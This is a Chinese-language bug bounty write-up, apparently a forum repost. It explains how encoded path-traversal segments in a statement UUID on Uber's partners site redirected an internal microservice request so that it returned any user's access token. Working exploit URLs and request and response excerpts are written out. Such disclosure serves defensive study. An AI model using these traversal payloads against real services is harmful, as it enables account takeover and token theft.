Bug bounty:在Uber微服务中获取任何用户的访问令牌

惊鸿一瞥最是珍贵 / 2019-04-12 09:19:00 / 浏览数 3682 渗透测试 渗透测试 顶(0) 踩(0)

Uber构建在一系列的微服务之上，当然，如果您想与微服务进行交互，您需要使用一些REST API来实现。
假设您想获取驱动程序的历史记录，您可以调用一个像这样的API：

```
https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01
```

显然，所有这些都是在后端执行的，因为内部微服务通常没有权限检查或其他安全措施来防止IDOR攻击。
如果所有这些API调用都是预定义的path/variables/host，那么实现授权检查又有什么意义呢？无论如何，用户无法控制调用，何必自找麻烦呢？
然而用户真的不能控制API调用吗？。2018年初，我在partners.uber.com中找到了一个有趣的端点，用于获取驱动程序的月度信息。

```
https://partners.uber.com/p3/money/statements/view/current
```

这个调用本身并没有什么用，但是我对响应特别感兴趣。

```
{
 "request": {
   "uri": {
     "protocol": "http:",
     "slashes": true,
     "auth": null,
     "host": "127.0.0.1:123",
     "port": "123",
     "hostname": "127.0.0.1",
     "hash": null,
     "search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
     "query": "earnings_structure_type=&locale=en&user_id=xxxxx",
     "pathname": "/v1/partners/xxxxx/statements/current",
     "path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
     "href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
   },
  "token":"ACCESS_TOKEN_OF_USER",
....
```

很明显，API调用在https://partners.uber.com/p3/money/statements/view/current
中获取current，并将其附加到/v1/partners/xxxxxx/statements/的末尾。此外，查询部分也会添加到调用中。完整的内部GET请求如下所示

```
http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx
```

这是非常有趣的，根据响应我们可以观察到两个现象，第一个是它具有您的uber用户的访问令牌

第二个是请求中没有x-auth-header或授权header，但它仍然返回用户的访问令牌作为响应!
这意味着如果我们能够以某种方式操纵请求，在请求中将my_user_uuid更改为victim_uuid,然后，我们可以通过从响应中获取受害者的访问令牌来接管受害者的帐户。
我需要找到一个端点，该端点允许我执行以下操作:
将任何参数传递给该内部GET请求
将编码后的字符传递给内部get请求，以避免后面遇到的不必要的查询。(%23，例如#可以中断查询部分)
查看完整响应
结果，我找到了一个符合要求的请求：

```
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

Response of the GET request

"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_
```

我认为uuid 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa语句被传递给内部API GET请求路径和查询部分。
我通过发送这个请求验证了这一点。

```
https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca
```

回应和上面一样仍然是相同的，这表面./后面部分被转义了。所以，一直转义到根目录，然后构造一个可以返回访问令牌的请求，并使用#注释掉不必要的部分
我们调用的目标请求：

```
http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid
```

在我们控制下的请求:

```
http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=you
```

最后一次调用：

```
https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM
```

响应和预期一致：

```
http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?ear
```

现在，我们可以通过更改请求中的VICTIM_UUID来获取任何用户的访问令牌。

■■■■■https://ngailong.wordpress.com/author/ngalog/

上一篇：2019掘安杯web writeup 下一篇：2019掘安杯web writeup

1. 0 条回复
   - 动动手指，沙发就是你的了！